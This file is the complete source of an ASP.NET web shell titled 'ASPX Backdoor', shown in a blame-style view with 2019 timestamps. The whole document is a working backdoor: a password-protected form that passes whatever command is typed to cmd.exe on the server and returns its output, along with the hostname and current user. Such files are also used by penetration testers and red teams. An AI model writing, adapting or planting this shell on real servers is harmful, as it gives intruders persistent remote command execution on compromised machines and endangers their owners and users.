2019-02-04 17:27:19 +01:00
|
|
|
<%@ Page Language="C#" Debug="false" Trace="false" %>
|
2019-02-04 17:11:11 +01:00
|
|
|
<%@ Import Namespace="System.Diagnostics" %>
|
|
|
|
|
<%@ Import Namespace="System.IO" %>
|
|
|
|
|
<script Language="c#" runat="server">
|
|
|
|
|
|
|
|
|
|
// =====================================================================
|
|
|
|
|
// Setup global password necessary to pass before using that webshell.
|
|
|
|
|
|
|
|
|
|
public string Password = "5eQzrXZHZwJNLvm6Q2b7PR6r";
|
|
|
|
|
|
|
|
|
|
// =====================================================================
|
|
|
|
|
|
|
|
|
|
void Page_Load(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
PasswordTextbox.Attributes["value"] = Request.Form["PasswordTextbox"];
|
|
|
|
|
PasswordTextbox.Attributes["type"] = "password";
|
|
|
|
|
PasswordTextbox.Text = Request.Form["PasswordTextbox"];
|
|
|
|
|
CommandTextbox.Value = Request.Form["CommandTextbox"];
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
string ExcuteCommand(string arg)
|
|
|
|
|
{
|
|
|
|
|
if (arg.Length >= 1)
|
|
|
|
|
{
|
|
|
|
|
ProcessStartInfo psi = new ProcessStartInfo();
|
|
|
|
|
psi.FileName = "cmd.exe";
|
|
|
|
|
psi.Arguments = "/c \""+ arg + "\"";
|
|
|
|
|
psi.RedirectStandardOutput = true;
|
|
|
|
|
psi.UseShellExecute = false;
|
|
|
|
|
Process p = Process.Start(psi);
|
|
|
|
|
StreamReader stmrdr = p.StandardOutput;
|
|
|
|
|
string s = stmrdr.ReadToEnd();
|
|
|
|
|
stmrdr.Close();
|
|
|
|
|
return s;
|
|
|
|
|
}
|
|
|
|
|
return "";
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
void Launch_OnClick(object sender, System.EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (Request.Form["PasswordTextbox"] == Password)
|
|
|
|
|
{
|
|
|
|
|
string h = Server.HtmlEncode(ExcuteCommand("hostname")).Trim();
|
|
|
|
|
string u = Server.HtmlEncode(ExcuteCommand("whoami")).Trim();
|
|
|
|
|
|
|
|
|
|
Hostname.Text = u + "@" + h;
|
|
|
|
|
CommandOutput.InnerHtml = Server.HtmlEncode(ExcuteCommand(Request.Form["CommandTextbox"]));
|
|
|
|
|
}
|
|
|
|
|
else
|
|
|
|
|
{
|
|
|
|
|
Hostname.Text = "unknown";
|
|
|
|
|
CommandOutput.InnerHtml = "Wrong password provided.";
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
</script>
|
|
|
|
|
<!DOCTYPE html>
|
|
|
|
|
<html>
|
|
|
|
|
<head>
|
|
|
|
|
<title>ASPX Backdoor</title>
|
|
|
|
|
<script>
|
|
|
|
|
function setPassword()
|
|
|
|
|
{
|
|
|
|
|
document.getElementById("PasswordTextbox").type = 'password';
|
|
|
|
|
}
|
|
|
|
|
</script>
|
|
|
|
|
</head>
|
|
|
|
|
<body onload='setPassword()'>
|
|
|
|
|
|
|
|
|
|
<h3>ASPX Backdoor.</h3>
|
|
|
|
|
<i style="font-size:9px">You need to provide valid password in order to leverage RCE.</i>
|
|
|
|
|
<br/>
|
|
|
|
|
<font style="font-size:5px" style="font-style:italic;color:grey">coded by <a href="https://github.com/mgeeky">mgeeky</a></font>
|
|
|
|
|
<br/>
|
|
|
|
|
<hr/>
|
|
|
|
|
<form id="cmd" method="post" runat="server">
|
|
|
|
|
<table style="width:100%">
|
|
|
|
|
<tr>
|
|
|
|
|
<td width="40%">
|
|
|
|
|
<b style="color:red">Password:</b>
|
|
|
|
|
</td>
|
|
|
|
|
<td width="60%">
|
|
|
|
|
<asp:TextBox runat='server' id="PasswordTextbox" style="width:30%"></asp:TextBox>
|
|
|
|
|
</td>
|
|
|
|
|
</tr>
|
|
|
|
|
<tr>
|
|
|
|
|
<td width="40%">
|
|
|
|
|
<b style="color:blue"></b>
|
|
|
|
|
<asp:Label id="Hostname" runat='server'></asp:Label>
|
|
|
|
|
</td>
|
|
|
|
|
<td width="60%">
|
2019-02-04 17:28:33 +01:00
|
|
|
<input type=text id="CommandTextbox" runat="server" value='' onClick="" style="width:80%" onkeydown="if (event.keyCode == 13) { this.form.submit(); return false; }"/>
|
2019-02-04 17:11:11 +01:00
|
|
|
</td>
|
|
|
|
|
</tr>
|
|
|
|
|
<tr>
|
|
|
|
|
<td width="40%">
|
|
|
|
|
</td>
|
|
|
|
|
<td width="60%">
|
|
|
|
|
<asp:Button id="Launch" runat="server" Text="Execute" OnClick="Launch_OnClick"></asp:Button>
|
|
|
|
|
</td>
|
|
|
|
|
</tr>
|
|
|
|
|
</table>
|
|
|
|
|
</form>
|
|
|
|
|
<hr />
|
|
|
|
|
<pre id="CommandOutput" runat='server' style="background-color:black;color:lightgreen;padding: 5px 25px 25px 25px;"></pre>
|
|
|
|
|
</body>
|
|
|
|
|
</html>
|
